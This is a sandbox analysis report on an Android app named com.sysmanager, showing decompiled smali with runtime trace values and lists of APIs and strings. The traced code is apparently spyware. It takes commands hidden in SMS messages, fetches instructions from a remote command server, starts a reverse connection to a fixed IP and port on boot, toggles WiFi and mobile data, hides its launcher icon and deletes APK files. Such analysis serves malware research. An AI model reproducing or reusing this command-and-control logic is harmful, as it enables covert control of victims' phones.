57invoke-direct {v3, p0, v4}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
59invoke-virtual {p0, v3}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
60goto_59:
61invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
62move-result-object v3
64const-string v4, "col07"
66invoke-virtual {v3, v4}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
67move-result v3
68if-ne v3, v2, :cond_92
69const-class v3, Lcom/sysmanager/system/AndroidSystemQueues;
71invoke-static {v3, p0}, Lcom/sysmanager/OnBootReceiver;->isMyServiceRunning(Ljava/lang/Class;Landroid/content/Context;)Z
72move-result v3
73if-nez v3, :cond_92
74new-instance v0, Landroid/content/Intent;
75const-class v3, Lcom/sysmanager/system/AndroidSystemQueues;
77invoke-direct {v0, p0, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
79const-string v3, "extra_accuracy"
80const/16 v4, 0x64
82invoke-virtual {v0, v3, v4}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent;
84invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
85move-result-object v3
87const-string v4, "col25"
89invoke-virtual {v3, v4}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
90move-result v3
91if-ne v3, v2, :cond_ea
92move v1, v2
93goto_88: if-eqz v1, :cond_8f
95const-string v3, "extra_move"
97invoke-virtual {v0, v3, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Z)Landroid/content/Intent;
98cond_8f:
99invoke-virtual {p0, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
100cond_92:
101invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
102move-result-object v3
104const-string v4, "col06"
106invoke-virtual {v3, v4}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
107move-result v3
108if-ne v3, v2, :cond_b7
109const-class v3, Lcom/sysmanager/system/AndroidSystemQueues;
111invoke-static {v3, p0}, Lcom/sysmanager/OnBootReceiver;->isMyServiceRunning(Ljava/lang/Class;Landroid/content/Context;)Z
112move-result v3
113if-nez v3, :cond_b7
114new-instance v0, Landroid/content/Intent;
115const-class v3, Lcom/sysmanager/system/AndroidSystemQueues;
117invoke-direct {v0, p0, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
119const-string v3, "extra_accuracy"
120const/16 v4, 0x66
122invoke-virtual {v0, v3, v4}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent;
124invoke-virtual {p0, v0}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
125cond_b7:
126invoke-static {p0}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
127move-result-object v3
129const-string v4, "col17"
131invoke-virtual {v3, v4}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
132move-result v3
133if-ne v3, v2, :cond_d5
134const-class v2, Lcom/sysmanager/system/ClearSystems;
136invoke-static {v2, p0}, Lcom/sysmanager/OnBootReceiver;->isMyServiceRunning(Ljava/lang/Class;Landroid/content/Context;)Z
137move-result v2
138if-nez v2, :cond_d5
139new-instance v2, Landroid/content/Intent;
140const-class v3, Lcom/sysmanager/system/ClearSystems;
142invoke-direct {v2, p0, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
144invoke-virtual {p0, v2}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
145cond_d5: return-void
146cond_d6: const-class v3, Lcom/sysmanager/system/AndroidAlarmManager;
148invoke-static {v3, p0}, Lcom/sysmanager/OnBootReceiver;->isMyServiceRunning(Ljava/lang/Class;Landroid/content/Context;)Z
149move-result v3
150if-nez v3, :cond_59
151new-instance v3, Landroid/content/Intent;
152const-class v4, Lcom/sysmanager/system/AndroidAlarmManager;
154invoke-direct {v3, p0, v4}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
156invoke-virtual {p0, v3}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
157goto/16 :goto_59
158cond_ea: const/4 v1, 0x0
159goto/16 :goto_88
160cond_ec: new-instance v2, Landroid/content/Intent;
161const-class v3, Lcom/sysmanager/system/RegistrationService;
163invoke-direct {v2, p0, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
165invoke-virtual {p0, v2}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
  • Time: 200642
    • This:
      • com.sysmanager.Scontext@2e09ab53
    • p0: Intent { cmp=com.sysmanager/.system.RegistrationService }
    • Return:
      • ComponentInfo{com.sysmanager/com.sysmanager.system.RegistrationService}
166goto/16 :goto_d5
APIs
  • android.provider.Telephony$Sms$Intents.getMessagesFromIntent
  • android.telephony.SmsManager.getMessageBody
  • java.lang.String.isEmpty
  • java.lang.String.contains
  • com.sysmanager.network.GetCommands.<init>
  • com.sysmanager.network.GetCommands.execute
  • android.content.Intent.getExtras
  • android.os.Bundle.get
  • android.telephony.SmsMessage.createFromPdu
  • android.telephony.SmsMessage.getMessageBody
  • java.lang.String.contains
  • com.sysmanager.MessageManagement.mobileConnectionEnable
  • java.lang.String.contains
  • android.content.Context.getApplicationContext
  • android.content.Context.getSystemService
  • android.net.wifi.WifiManager.setWifiEnabled
  • java.lang.String.contains
  • com.sysmanager.MessageManagement.addWifiConfig
  • java.lang.String.contains
  • android.content.Context.getApplicationContext
  • android.content.Context.getSystemService
  • android.net.wifi.WifiManager.getConfiguredNetworks
  • java.util.List.size
  • java.util.List.iterator
  • java.util.Iterator.hasNext
  • java.util.Iterator.next
  • java.lang.String.equalsIgnoreCase
  • android.net.wifi.WifiManager.removeNetwork
  • android.net.wifi.WifiManager.saveConfiguration
  • android.net.wifi.WifiManager.setWifiEnabled
Strings
  • this is a text message
  • bit.lo/rox
  • http://url.plus/Updates/agent/commands
  • pdus
  • bit.lo/mp
  • bit.lo/mn
  • wifi
  • bit.lo/wi
  • freeWifi
  • freeWifi12345
  • WPA2
  • TKIP
  • bit.lo/wo
  • \"freeWifi\"
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "intent" # Landroid/content/Intent;
2.prologue
3const/4 v12, 0x1
4const/4 v11, 0x0
6const-string v6, ""
7try_start_4: sget v8, Landroid/os/Build$VERSION;->SDK_INT:I
8const/16 v9, 0x13
9if-lt v8, v9, :cond_3d
11invoke-static {p2}, Landroid/provider/Telephony$Sms$Intents;->getMessagesFromIntent(Landroid/content/Intent;)[Landroid/telephony/SmsMessage;
12move-result-object v7
13if-eqz v7, :cond_13
14array-length v8, v7
15if-nez v8, :cond_14
16goto_13: return-void
17cond_14: const/4 v8, 0x0
18aget-object v8, v7, v8
20invoke-virtual {v8}, Landroid/telephony/SmsMessage;->getMessageBody()Ljava/lang/String;
  • Time: 206608
    • This:
      • android.telephony.SmsMessage@37b3a000
    • Return:
      • this is a text message
21try_end_1a: move-result-object v6
22cond_1b: if-eqz v6, :cond_13
24invoke-virtual {v6}, Ljava/lang/String;->isEmpty()Z
25move-result v8
26if-nez v8, :cond_13
28const-string v8, "bit.lo/rox"
30invoke-virtual {v6, v8}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
31move-result v8
32if-eqz v8, :cond_6d
33new-instance v8, Lcom/sysmanager/network/GetCommands;
35invoke-direct {v8}, Lcom/sysmanager/network/GetCommands;-><init>()V
36const/4 v9, 0x2
37new-array v9, v9, [Ljava/lang/Object;
38aput-object p1, v9, v11
40const-string v10, "http://url.plus/Updates/agent/commands"
41aput-object v10, v9, v12
43invoke-virtual {v8, v9}, Lcom/sysmanager/network/GetCommands;->execute([Ljava/lang/Object;)Landroid/os/AsyncTask;
44goto/16 :goto_13
45try_start_3d:
46invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
47move-result-object v1
48if-eqz v1, :cond_1b
50const-string v8, "pdus"
52invoke-virtual {v1, v8}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object;
53move-result-object v8
54check-cast v8, [Ljava/lang/Object;
55move-object v0, v8
56check-cast v0, [Ljava/lang/Object;
57move-object v7, v0
58if-eqz v7, :cond_13
59array-length v8, v7
60if-eqz v8, :cond_13
61const/4 v8, 0x0
62aget-object v8, v7, v8
63check-cast v8, [B
64check-cast v8, [B
66invoke-static {v8}, Landroid/telephony/SmsMessage;->createFromPdu([B)Landroid/telephony/SmsMessage;
67move-result-object v8
69invoke-virtual {v8}, Landroid/telephony/SmsMessage;->getMessageBody()Ljava/lang/String;
70try_end_62: move-result-object v6
71goto/16 :goto_1b
72catch_64: move-exception v2
74invoke-static {v2}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
75move-result-object v8
77invoke-static {p1, v8}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
78goto/16 :goto_1b
79cond_6d:
80const-string v8, "bit.lo/mp"
82invoke-virtual {v6, v8}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
83move-result v8
84if-eqz v8, :cond_79
86invoke-static {p1}, Lcom/sysmanager/MessageManagement;->mobileConnectionEnable(Landroid/content/Context;)V
87goto/16 :goto_13
88cond_79:
89const-string v8, "bit.lo/mn"
91invoke-virtual {v6, v8}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
92move-result v8
93if-eqz v8, :cond_91
95invoke-virtual {p1}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
96move-result-object v8
98const-string v9, "wifi"
100invoke-virtual {v8, v9}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
101move-result-object v5
102check-cast v5, Landroid/net/wifi/WifiManager;
104invoke-virtual {v5, v12}, Landroid/net/wifi/WifiManager;->setWifiEnabled(Z)Z
105goto/16 :goto_13
106cond_91:
107const-string v8, "bit.lo/wi"
109invoke-virtual {v6, v8}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
110move-result v8
111if-eqz v8, :cond_a6
113const-string v8, "freeWifi"
115const-string v9, "freeWifi12345"
117const-string v10, "WPA2"
119const-string v11, "TKIP"
121invoke-static {p1, v8, v9, v10, v11}, Lcom/sysmanager/MessageManagement;->addWifiConfig(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
122goto/16 :goto_13
123cond_a6:
124const-string v8, "bit.lo/wo"
126invoke-virtual {v6, v8}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
127move-result v8
128if-eqz v8, :cond_13
130invoke-virtual {p1}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
131move-result-object v8
133const-string v9, "wifi"
135invoke-virtual {v8, v9}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
136move-result-object v5
137check-cast v5, Landroid/net/wifi/WifiManager;
139invoke-virtual {v5}, Landroid/net/wifi/WifiManager;->getConfiguredNetworks()Ljava/util/List;
140move-result-object v4
141if-eqz v4, :cond_ea
143invoke-interface {v4}, Ljava/util/List;->size()I
144move-result v8
145if-lez v8, :cond_ea
147invoke-interface {v4}, Ljava/util/List;->iterator()Ljava/util/Iterator;
148move-result-object v8
149cond_ca:
150invoke-interface {v8}, Ljava/util/Iterator;->hasNext()Z
151move-result v9
152if-eqz v9, :cond_ea
154invoke-interface {v8}, Ljava/util/Iterator;->next()Ljava/lang/Object;
155move-result-object v3
156check-cast v3, Landroid/net/wifi/WifiConfiguration;
158iget-object v9, v3, Landroid/net/wifi/WifiConfiguration;->SSID:Ljava/lang/String;
160const-string v10, "\"freeWifi\""
162invoke-virtual {v9, v10}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
163move-result v9
164if-eqz v9, :cond_ca
165iget v8, v3, Landroid/net/wifi/WifiConfiguration;->networkId:I
167invoke-virtual {v5, v8}, Landroid/net/wifi/WifiManager;->removeNetwork(I)Z
169invoke-virtual {v5}, Landroid/net/wifi/WifiManager;->saveConfiguration()Z
170goto/16 :goto_13
171cond_ea:
172invoke-virtual {v5, v11}, Landroid/net/wifi/WifiManager;->setWifiEnabled(Z)Z
173goto/16 :goto_13
APIs
  • java.lang.StringBuilder.<init>
  • android.content.Context.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.exists
  • java.io.File.mkdir
  • android.content.Intent.getAction
  • java.lang.String.equals
  • com.sysmanager.network.StartReverse.<init>
  • com.sysmanager.network.StartReverse.execute
  • android.content.Context.getPackageManager
  • android.content.ComponentName.<init>
  • android.content.pm.PackageManager.setComponentEnabledSetting
  • com.sysmanager.storage.DeleteApkFiles.<init>
  • com.sysmanager.storage.DeleteApkFiles.execute
  • com.sysmanager.OnBootReceiver.loadSharedPreferences
  • android.content.Intent.<init>
  • com.sysmanager.Scontext.startService
Strings
  • /cachel2/
  • /data/data/com.sysmanager/files/cachel2/
  • android.intent.action.BOOT_COMPLETED
  • http://url.plus/Updates/
  • 54.67.109.199
  • 21070
Position Instruction Meta Information
0.param p1, "context" # Landroid/content/Context;
1.param p2, "intent" # Landroid/content/Intent;
2.prologue
3const/4 v7, 0x2
4const/4 v6, 0x0
5const/4 v5, 0x1
6new-instance v0, Ljava/io/File;
7new-instance v1, Ljava/lang/StringBuilder;
9invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
11invoke-virtual {p1}, Landroid/content/Context;->getFilesDir()Ljava/io/File;
12move-result-object v2
14invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
15move-result-object v1
17const-string v2, "/cachel2/"
19invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
20move-result-object v1
22invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
23move-result-object v1
25invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
  • Time: 200565
    • This:
      • /data/data/com.sysmanager/files/cachel2
    • p0: /data/data/com.sysmanager/files/cachel2/
    • Return:
      • /data/data/com.sysmanager/files/cachel2
27invoke-virtual {v0}, Ljava/io/File;->exists()Z
  • Time: 200571
    • This:
      • /data/data/com.sysmanager/files/cachel2
    • Return:
      • true
28move-result v1
29if-nez v1, :cond_28
31invoke-virtual {v0}, Ljava/io/File;->mkdir()Z
32cond_28:
33invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
  • Time: 200582
    • This:
      • Intent { act=android.intent.action.BOOT_COMPLETED }
    • Return:
      • android.intent.action.BOOT_COMPLETED
34move-result-object v1
36const-string v2, "android.intent.action.BOOT_COMPLETED"
38invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
39move-result v1
40if-eqz v1, :cond_68
41new-instance v1, Lcom/sysmanager/network/StartReverse;
43invoke-direct {v1}, Lcom/sysmanager/network/StartReverse;-><init>()V
44const/4 v2, 0x4
45new-array v2, v2, [Ljava/lang/Object;
46aput-object p1, v2, v6
48const-string v3, "http://url.plus/Updates/"
49aput-object v3, v2, v5
51const-string v3, "54.67.109.199"
52aput-object v3, v2, v7
53const/4 v3, 0x3
55const-string v4, "21070"
56aput-object v4, v2, v3
58invoke-virtual {v1, v2}, Lcom/sysmanager/network/StartReverse;->execute([Ljava/lang/Object;)Landroid/os/AsyncTask;
60invoke-virtual {p1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
61move-result-object v1
62new-instance v2, Landroid/content/ComponentName;
63const-class v3, Lcom/sysmanager/Main;
65invoke-direct {v2, p1, v3}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
67invoke-virtual {v1, v2, v7, v5}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
68new-instance v1, Lcom/sysmanager/storage/DeleteApkFiles;
70invoke-direct {v1}, Lcom/sysmanager/storage/DeleteApkFiles;-><init>()V
71new-array v2, v5, [Landroid/content/Context;
72aput-object p1, v2, v6
74invoke-virtual {v1, v2}, Lcom/sysmanager/storage/DeleteApkFiles;->execute([Ljava/lang/Object;)Landroid/os/AsyncTask;
75cond_68:
76invoke-static {p1}, Lcom/sysmanager/OnBootReceiver;->loadSharedPreferences(Landroid/content/Context;)V
77new-instance v1, Landroid/content/Intent;
78const-class v2, Lcom/sysmanager/system/AndroidClock;
80invoke-direct {v1, p1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
82invoke-virtual {p1, v1}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
  • Time: 200652
    • This:
      • com.sysmanager.Scontext@2e09ab53
    • p0: Intent { cmp=com.sysmanager/.system.AndroidClock }
    • Return:
      • ComponentInfo{com.sysmanager/com.sysmanager.system.AndroidClock}
83return-void
Cross References
APIs
  • android.app.SharedPreferencesImpl.getString
  • android.util.Base64.decode
  • java.security.KeyFactory.getInstance
  • java.security.spec.X509EncodedKeySpec.<init>
  • java.security.KeyFactory.generatePublic
  • java.security.spec.PKCS8EncodedKeySpec.<init>
  • java.security.KeyFactory.generatePrivate
  • java.security.KeyPair.<init>
  • java.lang.String.valueOf
  • java.lang.String.length
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.w
Strings
  • |P|
  • |S||P|
  • |K|
  • |S||K|
  • RSA
  • InstanceID/Store
  • Invalid key stored
Position Instruction Meta Information
0const/4 v1, 0x0
1monitor-enter p0
2try_start_2:
3iget-object v0, p0, Lcom/google/firebase/iid/zzh;->zzbif:Landroid/content/SharedPreferences;
5const-string v2, "|P|"
7invoke-direct {p0, p1, v2}, Lcom/google/firebase/iid/zzh;->zzaz(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
8move-result-object v2
9const/4 v3, 0x0
11invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Time: 201056
    • This:
      • android.app.SharedPreferencesImpl@3a065a3f
    • p0: |S||P|
    • p1: null
    • Return:
      • null
12move-result-object v0
14iget-object v2, p0, Lcom/google/firebase/iid/zzh;->zzbif:Landroid/content/SharedPreferences;
16const-string v3, "|K|"
18invoke-direct {p0, p1, v3}, Lcom/google/firebase/iid/zzh;->zzaz(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
19move-result-object v3
20const/4 v4, 0x0
22invoke-interface {v2, v3, v4}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Time: 201058
    • This:
      • android.app.SharedPreferencesImpl@3a065a3f
    • p0: |S||K|
    • p1: null
    • Return:
      • null
23try_end_1b: move-result-object v2
24if-eqz v0, :cond_20
25if-nez v2, :cond_23
26cond_20: move-object v0, v1
27goto_21: monitor-exit p0
28return-object v0
29cond_23: const/16 v3, 0x8
30try_start_25:
31invoke-static {v0, v3}, Landroid/util/Base64;->decode(Ljava/lang/String;I)[B
32move-result-object v0
33const/16 v3, 0x8
35invoke-static {v2, v3}, Landroid/util/Base64;->decode(Ljava/lang/String;I)[B
36move-result-object v2
38const-string v3, "RSA"
40invoke-static {v3}, Ljava/security/KeyFactory;->getInstance(Ljava/lang/String;)Ljava/security/KeyFactory;
41move-result-object v3
42new-instance v4, Ljava/security/spec/X509EncodedKeySpec;
44invoke-direct {v4, v0}, Ljava/security/spec/X509EncodedKeySpec;-><init>([B)V
46invoke-virtual {v3, v4}, Ljava/security/KeyFactory;->generatePublic(Ljava/security/spec/KeySpec;)Ljava/security/PublicKey;
47move-result-object v4
48new-instance v0, Ljava/security/spec/PKCS8EncodedKeySpec;
50invoke-direct {v0, v2}, Ljava/security/spec/PKCS8EncodedKeySpec;-><init>([B)V
52invoke-virtual {v3, v0}, Ljava/security/KeyFactory;->generatePrivate(Ljava/security/spec/KeySpec;)Ljava/security/PrivateKey;
53move-result-object v2
54new-instance v0, Ljava/security/KeyPair;
56invoke-direct {v0, v4, v2}, Ljava/security/KeyPair;-><init>(Ljava/security/PublicKey;Ljava/security/PrivateKey;)V
57try_end_4c: goto/16 :goto_21
58catch_4d: move-exception v0
59goto_4e:
60const-string v2, "InstanceID/Store"
62invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
63move-result-object v0
65invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
66move-result-object v3
68invoke-virtual {v3}, Ljava/lang/String;->length()I
69move-result v3
70add-int/lit8 v3, v3, 0x13
71new-instance v4, Ljava/lang/StringBuilder;
73invoke-direct {v4, v3}, Ljava/lang/StringBuilder;-><init>(I)V
75const-string v3, "Invalid key stored "
77invoke-virtual {v4, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
78move-result-object v3
80invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
81move-result-object v0
83invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
84move-result-object v0
86invoke-static {v2, v0}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
88iget-object v0, p0, Lcom/google/firebase/iid/zzh;->zzqn:Landroid/content/Context;
90invoke-static {v0, p0}, Lcom/google/firebase/iid/FirebaseInstanceId;->zza(Landroid/content/Context;Lcom/google/firebase/iid/zzh;)V
91try_end_79: move-object v0, v1
92goto/16 :goto_21
93catchall_7b: move-exception v0
94monitor-exit p0
95throw v0
96catch_7e: move-exception v0
97goto/16 :goto_4e
APIs
  • android.app.Service.onCreate
  • com.sysmanager.system.RegistrationService.getSystemService
  • java.lang.Class.cast
  • android.os.PowerManager.newWakeLock
  • android.os.PowerManager$WakeLock.setReferenceCounted
  • android.os.PowerManager$WakeLock.acquire
  • android.os.StrictMode$ThreadPolicy$Builder.<init>
  • android.os.StrictMode$ThreadPolicy$Builder.permitAll
  • android.os.StrictMode$ThreadPolicy$Builder.build
  • android.os.StrictMode.setThreadPolicy
  • com.google.firebase.iid.FirebaseInstanceId.getToken
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValue
  • com.sysmanager.system.RegistrationService.getApplicationContext
  • com.sysmanager.storage.Settings.getInstance
  • com.sysmanager.storage.Settings.getValueString
  • java.lang.String.equals
  • android.os.Handler.post
  • com.sysmanager.system.RegistrationService.checkStatus
Strings
  • power
  • Registration service
  • col01
  • col02
Position Instruction Meta Information
0.prologue
1const/4 v5, 0x0
2const/4 v1, 0x1
4invoke-super {p0}, Landroid/app/Service;->onCreate()V
5const-class v6, Landroid/os/PowerManager;
7const-string v7, "power"
9invoke-virtual {p0, v7}, Lcom/sysmanager/system/RegistrationService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Time: 200682
    • This:
      • com.sysmanager.system.RegistrationService@990f6dc
    • p0: power
    • Return:
      • android.os.PowerManager@2409aeba
10move-result-object v7
12invoke-virtual {v6, v7}, Ljava/lang/Class;->cast(Ljava/lang/Object;)Ljava/lang/Object;
13move-result-object v2
14check-cast v2, Landroid/os/PowerManager;
16const-string v6, "Registration service"
18invoke-virtual {v2, v1, v6}, Landroid/os/PowerManager;->newWakeLock(ILjava/lang/String;)Landroid/os/PowerManager$WakeLock;
19move-result-object v6
20iput-object v6, p0, Lcom/sysmanager/system/RegistrationService;->mWakelock:Landroid/os/PowerManager$WakeLock;
22iget-object v6, p0, Lcom/sysmanager/system/RegistrationService;->mWakelock:Landroid/os/PowerManager$WakeLock;
24invoke-virtual {v6, v5}, Landroid/os/PowerManager$WakeLock;->setReferenceCounted(Z)V
26iget-object v6, p0, Lcom/sysmanager/system/RegistrationService;->mWakelock:Landroid/os/PowerManager$WakeLock;
28invoke-virtual {v6}, Landroid/os/PowerManager$WakeLock;->acquire()V
29new-instance v6, Landroid/os/StrictMode$ThreadPolicy$Builder;
31invoke-direct {v6}, Landroid/os/StrictMode$ThreadPolicy$Builder;-><init>()V
33invoke-virtual {v6}, Landroid/os/StrictMode$ThreadPolicy$Builder;->permitAll()Landroid/os/StrictMode$ThreadPolicy$Builder;
34move-result-object v6
36invoke-virtual {v6}, Landroid/os/StrictMode$ThreadPolicy$Builder;->build()Landroid/os/StrictMode$ThreadPolicy;
37move-result-object v3
39invoke-static {v3}, Landroid/os/StrictMode;->setThreadPolicy(Landroid/os/StrictMode$ThreadPolicy;)V
41invoke-static {}, Lcom/google/firebase/iid/FirebaseInstanceId;->getInstance()Lcom/google/firebase/iid/FirebaseInstanceId;
42move-result-object v6
44invoke-virtual {v6}, Lcom/google/firebase/iid/FirebaseInstanceId;->getToken()Ljava/lang/String;
  • Time: 200966
    • This:
      • com.google.firebase.iid.FirebaseInstanceId@3f58165e
    • Return:
      • null
45move-result-object v4
47invoke-virtual {p0}, Lcom/sysmanager/system/RegistrationService;->getApplicationContext()Landroid/content/Context;
  • Time: 200978
    • This:
      • com.sysmanager.system.RegistrationService@990f6dc
    • Return:
      • com.sysmanager.Scontext@2e09ab53
48move-result-object v6
50invoke-static {v6}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
51move-result-object v6
53const-string v7, "col01"
55invoke-virtual {v6, v7}, Lcom/sysmanager/storage/Settings;->getValue(Ljava/lang/String;)I
56move-result v6
57if-ne v6, v1, :cond_6b
58goto_4d:
59invoke-virtual {p0}, Lcom/sysmanager/system/RegistrationService;->getApplicationContext()Landroid/content/Context;
  • Time: 200980
    • This:
      • com.sysmanager.system.RegistrationService@990f6dc
    • Return:
      • com.sysmanager.Scontext@2e09ab53
60move-result-object v5
62invoke-static {v5}, Lcom/sysmanager/storage/Settings;->getInstance(Landroid/content/Context;)Lcom/sysmanager/storage/Settings;
63move-result-object v5
65const-string v6, "col02"
67invoke-virtual {v5, v6}, Lcom/sysmanager/storage/Settings;->getValueString(Ljava/lang/String;)Ljava/lang/String;
68move-result-object v5
70invoke-virtual {v5, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
71move-result v0
72if-eqz v1, :cond_63
73if-nez v0, :cond_6d
74cond_63:
75iget-object v5, p0, Lcom/sysmanager/system/RegistrationService;->mHandler:Landroid/os/Handler;
77iget-object v6, p0, Lcom/sysmanager/system/RegistrationService;->mRegistration:Ljava/lang/Runnable;
79invoke-virtual {v5, v6}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z
80goto_6a: return-void
81cond_6b: move v1, v5
82goto/16 :goto_4d
83cond_6d:
84invoke-direct {p0}, Lcom/sysmanager/system/RegistrationService;->checkStatus()V
85goto/16 :goto_6a
APIs
  • android.app.Activity.onCreate
  • java.lang.StringBuilder.<init>
  • com.sysmanager.Main.getFilesDir
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.io.File.<init>
  • java.io.File.exists
  • java.io.File.mkdir
  • com.sysmanager.storage.DeleteApkFiles.<init>
  • com.sysmanager.storage.DeleteApkFiles.execute
  • com.sysmanager.Main.getPackageManager
  • com.sysmanager.Main.getComponentName
  • android.content.pm.PackageManager.setComponentEnabledSetting
  • android.content.Intent.<init>
  • com.sysmanager.Main.startService
  • com.sysmanager.network.StartReverse.<init>
  • com.sysmanager.network.StartReverse.execute
Strings
  • /cachel2/
  • /data/data/com.sysmanager/files/cachel2/
  • http://url.plus/Updates/
  • 54.67.109.199
  • 21070
Position Instruction Meta Information
0.param p1, "savedInstanceState" # Landroid/os/Bundle;
1.prologue
2const/4 v5, 0x2
3const/4 v3, 0x0
4const/4 v4, 0x1
6invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
7new-instance v0, Ljava/io/File;
8new-instance v1, Ljava/lang/StringBuilder;
10invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
12invoke-virtual {p0}, Lcom/sysmanager/Main;->getFilesDir()Ljava/io/File;
13move-result-object v2
15invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
16move-result-object v1
18const-string v2, "/cachel2/"
20invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
21move-result-object v1
23invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
24move-result-object v1
26invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
  • Time: 77390
    • This:
      • /data/data/com.sysmanager/files/cachel2
    • p0: /data/data/com.sysmanager/files/cachel2/
    • Return:
      • /data/data/com.sysmanager/files/cachel2
28invoke-virtual {v0}, Ljava/io/File;->exists()Z
  • Time: 77399
    • This:
      • /data/data/com.sysmanager/files/cachel2
    • Return:
      • false
29move-result v1
30if-nez v1, :cond_2b
32invoke-virtual {v0}, Ljava/io/File;->mkdir()Z
33cond_2b: new-instance v1, Lcom/sysmanager/storage/DeleteApkFiles;
35invoke-direct {v1}, Lcom/sysmanager/storage/DeleteApkFiles;-><init>()V
36new-array v2, v4, [Landroid/content/Context;
37aput-object p0, v2, v3
